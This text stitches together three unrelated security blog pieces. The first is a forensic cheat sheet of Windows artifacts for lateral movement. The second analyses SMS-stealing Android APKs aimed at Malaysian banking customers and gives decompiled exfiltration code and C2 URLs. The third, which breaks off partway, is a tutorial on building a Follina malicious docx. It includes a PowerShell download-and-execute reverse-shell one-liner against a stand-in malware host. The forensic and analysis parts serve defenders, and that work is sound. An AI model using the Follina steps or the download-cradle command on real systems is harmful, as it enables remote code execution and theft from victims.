Security | 4624 (logon type 10 or 12), 4778, 4779 | Destination |
RDPCoreTS Operational | 131, 98, 99 | Destination |
RemoteConnection Manager Operational | 1149 | Destination |
RemoteConnection Manager Admin | 1158 | Destination |
LocalSession Manager Operational | 21, 23, 24, 25, 41 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\MSTSC.EXE-RANDOM.pf |
Source |
Jumplist | C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\ (MSTSC-APPID-automaticDestinations-ms) |
Source |
Bitmap Cache | C:\Users\USERNAME\AppData\Local\Microsoft\Terminal Server Client\Cache\* |
Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\rdpclip.exe-RANDOM.pf and C:\Windows\Prefetch\tstheme.exe-RANDOM.pf |
Destination |
Registry | Findings | Computer |
---|---|---|
User Profile (NTUSER.DAT) | NTUSER\SOFTWARE\Microsoft\Terminal Server Client\Servers |
Source |
Shimcache (SYSTEM) | mstsc.exe |
Source |
BAM/DAM (SYSTEM) | Last Execution time of mstsc.exe |
Source |
Amcache.hve | First Execution time of mstsc.exe |
Source |
UserAssist (NTUSER.dat) | Last Execution time and Numbers of Times of mstsc.exe |
Source |
RecentApps (NTUSER.DAT) | Last Execution time and Numbers of Times of mstsc.exe |
Source |
ShimCache (SYSTEM) | rdpclip.exe and tstheme.exe |
Destination |
AmCache.hve | rdpclip.exe and tstheme.exe |
Destination |
Event Log | Event ID | Computer |
---|---|---|
Security | 4624,4625,4688, 5154 | Destination |
System | 10016 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\[SSH executable].exe-RANDOM.pf |
Destination |
Registry | Findings | Computer |
---|---|---|
User Profile (NTUSER.DAT) | Software\SimonTatham\PuTTY\SshHostKeys |
Destination |
Event Log | Event ID | Computer |
---|---|---|
System | 7045, 7036 (WCESERVICE) | Source |
Security | 4624, 4634 | Destination |
Security | 4776, 4771, 5156 | DC |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\[Tool name].exe-RANDOM.pf |
Source |
USNJ | wceaux.dll` | Source |
Event Log | Event ID | Computer |
---|---|---|
Security | 4624, 4672, 4634 | Destination |
Security | 4776, 4771, 5156, 4769 | DC |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\[Tool name].exe-RANDOM.pf |
Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\WMIC.EXE-[RANDOM].pf |
Source |
Event Log | Event ID | Computer |
---|---|---|
Security | 4648 | Source |
Security | 4624 (Logon type 3 or 2), 4672, 5140 | Destination |
System | 7045, 7036 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\[Executable File Name of Tool]-[RANDOM].pf |
Source |
MFT, USNJ | psexec.exe executable | Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\PSEXESVC.EXE-RANDOM.pf |
Destination |
C:\Windows | psexesvc.exe or renamed executable |
Destination |
Registry | Findings | Computer |
---|---|---|
User Profile (NTUSER.DAT) | NTUSER\SOFTWARE\Sysinternals\PsExec\EulaAccepted |
Source |
Shimcache (SYSTEM) | psexec.exe |
Source |
BAM/DAM (SYSTEM) | Last execution time ofpsexec.exe |
Source |
Amcache.hve | First Execution time of psexec.exe |
Source |
SYSTEM | SYSTEM\CurrentControlSet\Services\PSEXESVC |
Destination |
Shimcache (SYSTEM) | psexecsvc.exe |
Destination |
Amcache.hve | First Execution time of psexecsvc.exe |
Destination |
Memory analysis, find this pipe in the processes:
\\X.X.X.X\pipe\PSEXESVC-<sourcehostname>-<PID>-stdin
\\X.X.X.X\pipe\PSEXESVC-<sourcehostname>-<PID>-stdout
\\X.X.X.X\pipe\PSEXESVC-<sourcehostname>-<PID>-stderr
Event Log | Event ID | Computer |
---|---|---|
Security | 4624 (Logon type 3), 4697 | Destination |
System | 7034, 7035, 7036, 7040, 7045 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\sc.exe-RANDOM.pf |
Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\evil.exe-RANDOM.pf |
Destination |
File disk | Creation of evil.exe or dll | Destination |
Registry | Findings | Computer |
---|---|---|
BAM/DAM (SYSTEM) | sc.exe |
Source |
Shimcache (SYSTEM) | sc.exe |
Source |
Amcache.hve | First Execution time of sc.exe |
Source |
SYSTEM | \CurrentControlSet\Services\ |
Destination |
Shimcache (SYSTEM) | evil.exe |
Destination |
Amcache.hve | First Execution time of evil.exe |
Destination |
Event Log | Event ID | Computer |
---|---|---|
Security | 4648 | Source |
Security | 4672, 4624, 4698, 4702, 4699, 4700, 4701 | Destination |
Task scheduler Operational | 106, 140, 141, 200, 201 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\SCHTASKS.EXE-[RANDOM].pf |
Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\at.EXE-[RANDOM].pf |
Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\TASKENG.EXE-[RANDOM].pf |
Destination |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\evil.EXE-[RANDOM].pf |
Destination |
Job files | C:\Windows\Tasks |
Destination |
Task files | C:\Wmdows\System32\Tasks |
Destination |
Registry | Findings | Computer |
---|---|---|
BAM/DAM (SYSTEM) | at.exe and schtasks.exe |
Source |
Shimcache (SYSTEM) | at.exe and schtasks.exe |
Source |
Amcache.hve | at.exe and schtasks.exe |
Source |
Shimcache (SYSTEM) | evil.exe |
Destination |
Amcache.hve | First Execution time of evil.exe |
Destination |
SYSTEM | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\* |
Destination |
Event Log | Event ID | Computer |
---|---|---|
Security | 4648 | Source |
Security | 4624, 4672 | Destination |
WMI Activity Operational | 5857,5860,5861 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\WMIC.EXE-[RANDOM].pf |
Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\evil.exe-[RANDOM].pf |
Destination |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\scrcons.exe-[RANDOM].pf |
Destination |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\mofcomp.exe-[RANDOM].pf |
Destination |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\wmiprvse.exe-[RANDOM].pf |
Destination |
WMI repository | C:\Windows\System32\wbem\Repository |
Destination |
File creation | evil.exe or evil.mof |
Destination |
Registry | Findings | Computer |
---|---|---|
Shimcache (SYSTEM) | Wmic.exe |
Source |
BAM/DAM (SYSTEM) | Wmic.exe |
Source |
Amcache.hve | First Execution time of Wmic.exe |
Source |
ShimCache (SYSTEM) | scrcons.exe , mofcomp.exe , wmiprvse.exe , evil.exe |
Destination |
AmCache.hve | scrcons.exe , mofcomp.exe , wmiprvse.exe , evil.exe |
Destination |
Event Log | Event ID | Computer |
---|---|---|
Security | 4648 | Source |
WinRM Operational | 6,8,15,16,33 | Source |
Powershell Operational | 40691, 40692, 8193, 8194, 8197 | Source |
Security | 4624, 4672 | Destination |
Powershell Operational | 4103, 4104, 53504 | Destination |
Powershell | 400, 403, 800 | Destination |
WinRM | 91, 168 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\powershell.exe-RANDOM.pf |
Source |
Conmand history | C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
Source |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\evil.exe-RANDOM.pf |
Destination |
Prefetch, MFT, USNJ | C:\Windows\Prefetch\wsmprovhost.exe-RANDOM.pf |
Destination |
Registry | Findings | Computer |
---|---|---|
Shimcache (SYSTEM) | Powershell.exe |
Source |
BAM/DAM (SYSTEM) | Powershell.exe |
Source |
Amcache.hve | First Execution time of Powershell.exe |
Source |
ShimCache (SYSTEM) | wsmprovhost.exe and evil.exe |
Destination |
SOFTWARE | Microsoft\PowerShell\1\ShellIds\Microsoft.Powershell\ExecutionPolicy |
Destination |
AmCache.hve | wsmprovhost.exe and evil.exe |
Destination |
Event Log | Event ID | Computer |
---|---|---|
Security | 4688,4624,4656,5140,5142,5143,5144,5145 | Source |
SMB Server Operational | 4100,4103,4104,800,4104,40961,40962 | Source |
Event Log | Event ID | Computer |
---|---|---|
Security | 4624,4662, 4688, 4697, 4698, 4702 | Destination |
Event Log | Event ID | Computer |
---|---|---|
Security | 4688 | Destination |
Microsoft-Windows-PowerShell/ Operational | 4103, 4104 | Destination |
The rise of smartphone usage in recent years has brought with it a host of security threats, including malicious apps that can compromise the privacy and security of users. These types of apps can be difficult to detect, as they often masquerade as harmless or even useful tools.
In the case of the malicious apps targeting Malaysian users, it is believed that they have been distributed through its websites. It is important for users to be cautious when downloading apps from unfamiliar sources, as this is one of the main ways that malicious apps can find their way onto a user’s device.
In this post, we will delve into the details of these particular incidents, including how the apps have been used to steal sensitive information such as SMS messages and banking credentials, and what users can do to protect themselves from similar threats.
Credit to Mr Jacob Soo for providing me the intel about this risen malicious APK.
This technical analysis is just for fun and knowledge sharing. All my words and writing is on my own and does not reflect anyone.
For this modus operandi, there were a lot of websites that serve the malicious APK. Here some of it that Mr. Jacob has intel for us.
Websites | APK hash | Theme |
---|---|---|
hxxps://weclean[.]cc/ | 1030f97b9ad1addf85b980f576b648a3 | Cleaning service |
hxxps://double-clean[.]com/ | 1abf5db7726c4e6e9a3a6ce6cdd313af | Cleaning service |
hxxps://cleanshouse[.]net/ | 1b7df305308e4177ae2f078be13c3de9 | Cleaning service |
hxxp://dogsclubs[.]net | a56a386b76841bd0aa10654e8d7f4efc | Cleaning service |
hxxp://best-cleanings[.]com | e71f6e4629fb88ab18e52a2591b14fa8 | Cleaning service |
hxxp://bubblecleaning[.]net | 7f0e204375caddb08d4c3f9937fa8304 | Cleaning service |
hxxp://44speedmart[.]com | 23f449dbfc6b9ccae1d20d318672e6d4 | Grocery store |
hxxps://dog-salon[.]net/ | 2b425dd477fca2932dfab2d5159f611d | Dog salon service |
hxxp://grooming-time[.]com | f8de585ec8d75b6aae0f41ddf2dc03d8 | Dog salon service |
hxxp://luxury-online[.]net | ccb0e8380057a4c406996d5102079a4b | Shopping items |
hxxps://pinky-cat[.]net/ | 5ca6c25f1b2d8e4ca5987e68616247d7 | Cat’s foods |
hxxps://tech-digital[.]net/ | e062d108c93082fb9f47c3f2249d19c5 | Gadget ecommerce |
The moment this post published, I believe you all can’t access the domain anymore as the CloudFlare returns Error code 520. Sad.
Btw, the domain might be different, but I suspect that the server behind these domains is the same for some reasons.
File Name: clean-house.apk
Package Name: com.service.sms
Main Activity: io.dcloud.PandoraEntry
File Size: 39652340 bytes
MD5: 1b7df305308e4177ae2f078be13c3de9
Packed: Not Packed
Min SDK: 21
Target SDK: 32
Based on the permissions of the application, we know that the application had some dangerous permission for users to consider it. But, looking only for permission to verify whether it is malicious or not is not an efficient way. We need to dive into the code and the behavior of the application to see how malicious is it.
Below is the list of permissions in the application:
android.permission.CAMERA
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.READ_SMS
android.permission.WRITE_SMS
android.permission.RECEIVE_SMS
android.permission.SEND_SMS
android.permission.RECEIVE_MMS
android.permission.RECEIVE_WAP_PUSH
android.permission.INTERNET
android.permission.FOREGROUND_SERVICE
android.permission.GET_TASKS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.BROADCAST_STICKY
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.ACCESS_NETWORK_STATE
android.permission.READ_EXTERNAL_STORAGE
android.permission.WAKE_LOCK
android.permission.SEND_RESPOND_VIA_MESSAGE
android.permission.BROADCAST_WAP_PUSH
android.permission.BROADCAST_SMS
android.permission.BIND_JOB_SERVICE
android.permission.DUMP
Btw, it is difficult to determine which Android permissions are “dangerous” as the level of risk associated with each permission depends on the specific app and how it uses the permission. Some permissions, such as the ability to access the camera or read SMS messages, can be potentially dangerous if they are used by a malicious app to compromise the privacy or security of the user. Other permissions, such as the ability to access the internet or read external storage, may not pose as much of a risk on their own but could be used in conjunction with other permissions to potentially harm the user.
As a general rule, it is important for users to carefully review the permissions requested by an app before installing it, and to be cautious of apps that request permissions that seem unnecessary for the app’s intended functionality. It is also a good idea to avoid downloading apps from untrusted sources, as these apps are more likely to be malicious.
But for analysts, we can consider these permissions to have our eye on it as it can be considered as dangerous in a certain context.
READ_CALENDAR
WRITE_CALENDAR
READ_CALL_LOG
WRITE_CALL_LOG
PROCESS_OUTGOING_CALLS
CAMERA
READ_CONTACTS
WRITE_CONTACTS
GET_ACCOUNTS
ACCESS_FINE_LOCATION
ACCESS_COARSE_LOCATION
RECORD_AUDIO
READ_PHONE_STATE
READ_PHONE_NUMBERS
CALL_PHONE
ANSWER_PHONE_CALLS
ADD_VOICEMAIL
USE_SIP
BODY_SENSORS
SEND_SMS
RECEIVE_SMS
READ_SMS
RECEIVE_WAP_PUSH
RECEIVE_MMS
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
The application’s APK file is available to be downloaded at the landing page that has been set up by the threat actor at the mentioned table in the section above. Based on the landing page UI, the threat actor uses various themes to lure customers to download and install the malicious application if the customer wanted to book the package cleaning service, dog salon, eCommerce, and other packages.
The image below shows the cleaning service landing page that describes the cleaning service that they’re offering for victims. To use their services, victims need to download and install malicious application.
Clicking on the Google Play icon will automatically download the application to the victim’s phone.
Upon downloading the application, victims will install the application, and… all the SMS will be stolen for the sake of TAC code and they might be one of the victims of banking credential phishing.
In order to analyze the functionality of the malicious app, analyst will need to explore its interface and various features, such as adding items to a shopping cart or creating an account. This can be done by manually interacting with the app and observing its behavior, or by using Android emulator. By understanding the different components and functionality of the app, the analyst can better understand its purpose and potential impact on the device and user. It is important for the analyst to be thorough in their analysis in order to identify any potential malicious behavior or vulnerabilities that may be present in the app.
So, upon opening the app, victim will see a dialog box asking for SMS permission and default SMS manager.
public void requestPermission(){
if (Build$VERSION.SDK_INT >= 23) {
String[] stringArray = new String[]{"android.permission.READ_SMS","android.permission.BROADCAST_SMS","android.permission.RECEIVE_SMS","android.permission.SEND_SMS","android.permission.RECEIVE_MMS","android.permission.RECEIVE_WAP_PUSH"};
SmsPermissionService.app.requestPermissions(stringArray, 101);
}
Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
intent.putExtra("package", SmsPermissionService.app.getPackageName());
SmsPermissionService.app.startActivity(intent);
return;
}
This code defines an requestPermission method that requests several SMS-related permissions from the user if the device is running Android 6.0 (API level 23) or higher. The permissions being requested are:
android.permission.READ_SMS
: Allows an application to read SMS messages.android.permission.BROADCAST_SMS
: Allows an application to broadcast SMS messages.android.permission.RECEIVE_SMS
: Allows an application to receive SMS messages.android.permission.SEND_SMS
: Allows an application to send SMS messages.android.permission.RECEIVE_MMS
: Allows an application to receive MMS messages.android.permission.RECEIVE_WAP_PUSH
: Allows an application to receive WAP push messages.These permissions are requested using the requestPermissions
method of the Activity class, which displays a system dialog to the user asking for permission. The requestPermissions
method takes two arguments: an array of strings representing the permissions being requested, and an integer request code that is used to identify the request when the result is received in the onRequestPermissionsResult method.
The code also starts an activity to change the default SMS app to the current app by creating an Intent object with the action “android.provider.Telephony.ACTION_CHANGE_DEFAULT” and setting the package name of the current app as an extra. The activity is started using the startActivity method of the Activity class.
Here some of the application interface during my testing of the app such as viewing items/services, booking items/services, adding items/services to a shopping cart, and checkout.
Upon checkout the items, the app will navigate to fake payment gateaway for the payment options. The payment also can be made using Debit and Credit Card.
The list of banks include:
For example, figure below shows fake Maybank2u page and lure debit/credit card payment page:
Upon entering our banking credential, the app will POST the data to the API server reside in https://u138-paymobile7731.pay-director.com/common/save.php
After send the data, the application will either shows this screen to the user.
For SMS stealer behavior, the malicious application statically declares a broadcast receiver of BROADCAST_SMS in AndroidManifest file. The APK uses the broadcast receiver to listen for any incoming message and send the incoming SMS data to the attacker API server. Intently to get TAC code of the banking transaction for the illegal transaction.
<receiver android:name="com.service.sms.SmsReceiver" android:permission="android.permission.BROADCAST_SMS" android:enabled="true" android:exported="true" android:priority="9999999" android:stopWithTask="false">
<intent-filter android:priority="9999999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>
<activity android:name="com.service.sms.MainSmsActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SENDTO"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
<data android:scheme="mms"/>
<data android:scheme="mmsto"/>
</intent-filter>
<meta-data android:name="android.app.lib_name" android:value=""/>
</activity>
In the class MyReciever, the method onReceive will be triggered when an SMS is coming in and the application will send the SMS data to the attacker URL. Here’s the code:
public class SmsReceiver extends BroadcastReceiver {
private static final String TAG = "SmsReceiver";
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
SmsMessage createFromPdu;
if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
Bundle extras = intent.getExtras();
Object[] objArr = (Object[]) extras.get("pdus");
int length = objArr.length;
int i = 0;
String str = "";
String str2 = str;
while (i < length) {
Object obj = objArr[i];
if (Build.VERSION.SDK_INT >= 23) {
createFromPdu = SmsMessage.createFromPdu((byte[]) obj, extras.getString(AbsoluteConst.JSON_KEY_FORMAT));
} else {
createFromPdu = SmsMessage.createFromPdu((byte[]) obj);
}
str2 = str2 + createFromPdu.getMessageBody();
i++;
str = createFromPdu.getOriginatingAddress();
}
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
SmsPush smsPush = new SmsPush();
smsPush.setSender(str);
smsPush.setBody(str2);
smsPush.setDeviceId(Settings.Secure.getString(context.getContentResolver(), "android_id"));
smsPush.setInterceptedTime(simpleDateFormat.format(new Date()));
try {
SmsPushRequest smsPushRequest = (SmsPushRequest) ThreadUtil.executeRunnable(new SmsPushRequest(smsPush));
} catch (InterruptedException e) {
e.printStackTrace();
}
abortBroadcast();
}
}
}
This Java code defines a class SmsReceiver
that extends the BroadcastReceiver
class. BroadcastReceiver
is a class in Android that allows an app to register to receive system-wide broadcasts, such as an incoming SMS message. The SmsReceiver
class has a default constructor and an onReceive method, which is called when the app receives a broadcast.
The onReceive
method takes two arguments: a Context
object and an Intent
object. The Intent
object contains information about the broadcast, including the action that triggered it.
The onReceive method first checks if the action in the Intent object is “android.provider.Telephony.SMS_RECEIVED”, which indicates that an SMS message has been received. If it is, the method retrieves the extras in the Intent object and gets the “pdus” (protocol data units) from the extras. It then iterates through the array of PDUs, creating an SmsMessage
object for each one using the createFromPdu
method. It concatenates the message bodies of all the SmsMessage objects into a single string, and stores the originating address of the first SmsMessage object.
Next, the method creates a new SmsPush
object and sets its sender, body, and deviceId fields using the values it retrieved from the SMS message. It also sets the interceptedTime
field to the current date and time using a SimpleDateFormat
object. Finally, it creates a new SmsPushRequest
object with the SmsPush
object as an argument and executes it using the executeRunnable
method from the ThreadUtil
class.
package com.service.sms.common.constants;
/* loaded from: classes2.dex */
public class UrlConstant {
public static final String ACTIVE_PUSH = "https://sg1.mall-base-app.com/app/api/action/devideActivePushAction/";
public static final String DEFAULT_SMS_PUSH = "https://sg1.mall-base-app.com/app/api/action/defaultSmsPushAction/";
public static final String PREFIX = "/app/api/action/";
public static final String SMS_PERMISSION_PUSH = "https://sg1.mall-base-app.com/app/api/action/smsPermissionPushAction/";
public static final String SMS_PUSH = "https://sg1.mall-base-app.com/app/api/action/smsMessagePushAction/";
}
After getting the SMS data, the app will send the data to the UrlConstant.DEFAULT_SMS_PUSH URL
using an HTTP POST request and processes the response from the server to determine if the request was successful.
JSONObject jSONObject = new JSONObject();
LocationManager locationManager = (LocationManager) context.getSystemService("location");
if (locationManager != null) {
try {
Method declaredMethod = locationManager.getClass().getDeclaredMethod("getLastKnownLocation", String.class);
declaredMethod.setAccessible(true);
Location location = (Location) declaredMethod.invoke(locationManager, "gps");
if (location == null && (location = (Location) declaredMethod.invoke(locationManager, "network")) == null) {
location = (Location) declaredMethod.invoke(locationManager, "passive");
}
if (location != null) {
Class<?> cls = Class.forName("android.location.Location");
Method method = cls.getMethod("getLongitude", new Class[0]);
Method method2 = cls.getMethod("getLatitude", new Class[0]);
Method method3 = cls.getMethod("getAccuracy", new Class[0]);
Method method4 = cls.getMethod("getTime", new Class[0]);
method.setAccessible(true);
jSONObject.put("lon", String.valueOf(method.invoke(location, new Object[0])));
method2.setAccessible(true);
jSONObject.put("lat", String.valueOf(method2.invoke(location, new Object[0])));
method3.setAccessible(true);
jSONObject.put("accuracy", String.valueOf(method3.invoke(location, new Object[0])));
method4.setAccessible(true);
jSONObject.put("ts", String.valueOf(method4.invoke(location, new Object[0])));
}
} catch (Exception unused) {
}
}
a = jSONObject;
b = true;
return jSONObject;
This method tries to retrieve the last known location from the device and return it as a JSONObject.
The method first checks whether the passed Context object is null
and returns an empty JSONObject
if it is. Then, it checks whether the app has the permissions android.permission.ACCESS_FINE_LOCATION
and android.permission.ACCESS_COARSE_LOCATION
, and returns an empty JSONObject
if it doesn’t have either of these permissions.
If these checks pass, the method creates a new JSONObject
and retrieves the LocationManager
service from the system using the context object’s getSystemService
method. It then tries to retrieve the last known location using reflection. It does this by calling the getDeclaredMethod
method on the locationManager
object to get a Method object for the getLastKnownLocation
method, which it then sets to be accessible using setAccessible(true)
. It then invokes the method using invoke and passes it the argument “gps”. If this returns null, the method tries again with the arguments “network” and “passive”.
If a location is found, the method uses reflection to get the longitude, latitude, accuracy, and time of the location. It then adds the values returned by these methods to the JSONObject as key-value pairs.
Finally, the method sets the static JSONObject a to the JSONObject it created and sets the static boolean variable b to true, and returns the JSONObject.
The blog discusses the use of a lure application by a scammer to steal sensitive information from users. The lure application serves as a decoy, tricking users into providing their SMS data and online banking credentials, as well as credit card information. Once the scammer has obtained the SMS information, it is submitted to the attacker’s Command and Control (C2) server using an API located at the domain sg1[.]mall-base-app[.]com. While, for banking credential phishing kit, the data are sends to u138-paymobile7731[.]pay-director[.]com The attacker can then use the stolen information, such as banking credentials and credit card information, to obtain the Transaction Authorization Code (TAC) for illegal transactions. Essentially, the scammer is using the lure application to phish for sensitive information and use it for fraudulent purposes.
C2 Server |
---|
https://sg1.mall-base-app.com |
https://u138-paymobile7731.pay-director.com |
URLs |
---|
https://sg1.mall-base-app.com/app/api/action/defaultSmsPushAction/ |
https:/sg1.mall-base-app.com/app/api/action/devideActivePushAction/ |
https://sg1.mall-base-app.com/app/api/action/smsMessagePushAction/ |
https://sg1.mall-base-app.com/app/api/action/smsPermissionPushAction/ |
https://u138-paymobile7731.pay-director.com/maybank/pay.html |
https://u138-paymobile7731.pay-director.com/cimb/pay.html |
https://u138-paymobile7731.pay-director.com/affin/pay.html |
https://u138-paymobile7731.pay-director.com/ocbc/pay.html |
https://u138-paymobile7731.pay-director.com/hsbc/pay.html |
https://u138-paymobile7731.pay-director.com/uob/pay.html |
https://u138-paymobile7731.pay-director.com/common/save.php |
MD5 Hash | Filename |
---|---|
ccb0e8380057a4c406996d5102079a4b | Luxury.apk |
e062d108c93082fb9f47c3f2249d19c5 | TechDigital.apk |
e71f6e4629fb88ab18e52a2591b14fa8 | best-cleaning.apk |
7f0e204375caddb08d4c3f9937fa8304 | bubble-clean.apk |
1b7df305308e4177ae2f078be13c3de9 | clean-house.apk |
2b425dd477fca2932dfab2d5159f611d | dog-salon.apk |
a56a386b76841bd0aa10654e8d7f4efc | dogs-clubs.apk |
1abf5db7726c4e6e9a3a6ce6cdd313af | double-clean.apk |
f8de585ec8d75b6aae0f41ddf2dc03d8 | grooming-time.apk |
5ca6c25f1b2d8e4ca5987e68616247d7 | pinkycat.apk |
23f449dbfc6b9ccae1d20d318672e6d4 | speedmart.apk |
1030f97b9ad1addf85b980f576b648a3 | we-clean.apk |
1030f97b9ad1addf85b980f576b648a3 | we-clean.apk |
In this post, we will learn various techniques on how to make malicious documents that can execute our malicious code. Of course, to make it simple we will just run the calc/notepad application to show our proof of concept is proven.
Why do security researchers always pop up a calc.exe when doing a Proof-of-Concept? Because it is simple and easy to pop up a calculator, rather than creating Powershell one-liner or shellcoding just to show your POC is proven. Hehe
You can always replace the calc.exe execution with any payload you want like Powershell reverse shell or mshta fileless or anything else that is suitable your appetite but popping up a calc.exe indicated that we can also execute anything we wanted like download and execute malware. Not just a calc.exe execution.
For example, malicious Powershell like below:
powershell IEX (New-Object Net.WebClient).DownloadString('https://malware.com/mini-reverse.ps1')
This is for education only whereby the purpose of this blog to understand how malicious documents were created by the attacker out there. Do with your own risk.
We started with the latest and famous malicious document called Follina. Researchers have reproduced the zero-day with multiple versions of Microsoft Office and even publish their Follina malicious document generator on GitHub.
Here are the steps to build the docx:
Open Microsoft Word, create a dummy document. Insert an (OLE) object (as a Bitmap Image), save it in docx:
Unzip the docx file and edit word/_rels/document.xml.rels
in the docx structure. Modify the XML tag <Relationship
with attribute
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject
and Target="embeddings/oleObject1.bin"
by changing the Target value and adding attribute TargetMode
like below:
Target = "http://malware.domain/payload.html!" TargetMode = "External"
Note the Id value (probably it is “rIdX” where X is random number. For example 10).
Edit word/document.xml
. Search for the <o:OLEObject
tag (with r:id=”rd10”) and change the attribute from Type="Embed"
to Type="Link"
and add the attribute UpdateMode="OnCall"
.
Serve the payload in html payload with the ms-msdt scheme at hxxp://malware[.]com/payload.html:
<!doctype html>
<html lang="en">
<head>
<title>
Good thing we disabled macros
</title>
</head>
<body>
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.
Curabitur rutrum leo tortor, venenatis fermentum ex porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifend nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu ligula, venenatis aliquam tristique ut, pretium quis velit.
Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique ante, dignissim convallis ligula. Aenean quis felis dolor. In quis lectus massa. Pellentesque quis pretium massa. Vivamus facilisis ultricies massa ac commodo. Nam nec congue magna. Nullam laoreet justo ut vehicula lobortis.
Aliquam rutrum orci tortor, non porta odio feugiat eu. Vivamus nulla mauris, eleifend eu egestas scelerisque, vulputate id est. Proin rutrum nec metus convallis ornare. Ut ultricies ante et dictum imperdiet. Ut nisl magna, porttitor nec odio non, dapibus maximus nibh. Integer lorem felis, accumsan a dapibus hendrerit, maximus nec leo. Vestibulum porta, orci sed dignissim porta, sem justo porta odio, quis rutrum tortor arcu quis massa. Aenean eleifend nisi a quam faucibus, quis scelerisque lectus condimentum. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non dui nec odio finibus molestie. Suspendisse id massa nunc. Sed ultricies et sapien vel fringilla.
</p>
<p>
Donec tincidunt ac justo et iaculis. Pellentesque lacinia, neque at consectetur porttitor, leo eros bibendum lorem, eu sollicitudin dolor urna pharetra augue. Pellentesque facilisis orci quis ante tempor, ac varius eros blandit. Nulla vulputate, purus eu consectetur ullamcorper, mauris nulla commodo dolor, in maximus purus mi eget purus. In mauris diam, imperdiet ac dignissim ut, mollis in purus. In congue volutpat tortor eu auctor. Nullam a eros lectus. Aenean porta semper quam ac lacinia. Curabitur interdum, nisl eu laoreet tempus, augue nisl volutpat odio, dictum aliquam massa orci sit amet magna.
Duis pulvinar vitae neque non placerat. Nullam at dui diam. In hac habitasse platea dictumst. Sed quis mattis libero. Nullam sit amet condimentum est. Nulla eget blandit elit. Nunc facilisis erat nec ligula ultrices, malesuada mollis ex porta. Phasellus iaculis lorem eu augue tincidunt, in ultrices massa suscipit. Donec gravida sapien ac dui interdum cursus. In finibus eu dolor sit amet porta. Sed ultrices nisl dui, at lacinia lectus porttitor ut.
Ut ac viverra risus. Suspendisse lacus nunc, porttitor facilisis mauris ut, ullamcorper gravida dolor. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus sollicitudin, arcu id sagittis facilisis, turpis dolor eleifend massa, in maximus sapien dui et tortor. Quisque varius enim sed enim venenatis tempor. Praesent quis volutpat lorem. Pellentesque ac venenatis lacus, vitae commodo odio. Sed in metus at libero viverra mollis sed vitae nibh. Sed at semper lectus.
</p>
<p>
Proin a interdum justo. Duis sed dui vitae ex molestie egestas et tincidunt neque. Fusce lectus tellus, pharetra id ex at, consectetur hendrerit nibh. Nulla sit amet commodo risus. Nulla sed dapibus ante, sit amet fringilla dui. Nunc lectus mauris, porttitor quis eleifend nec, suscipit sit amet massa. Vivamus in lectus erat. Nulla facilisi. Vivamus sed massa quis arcu egestas vehicula. Nulla massa lorem, tincidunt sed feugiat quis, faucibus a risus. Sed viverra turpis sit amet metus iaculis finibus.
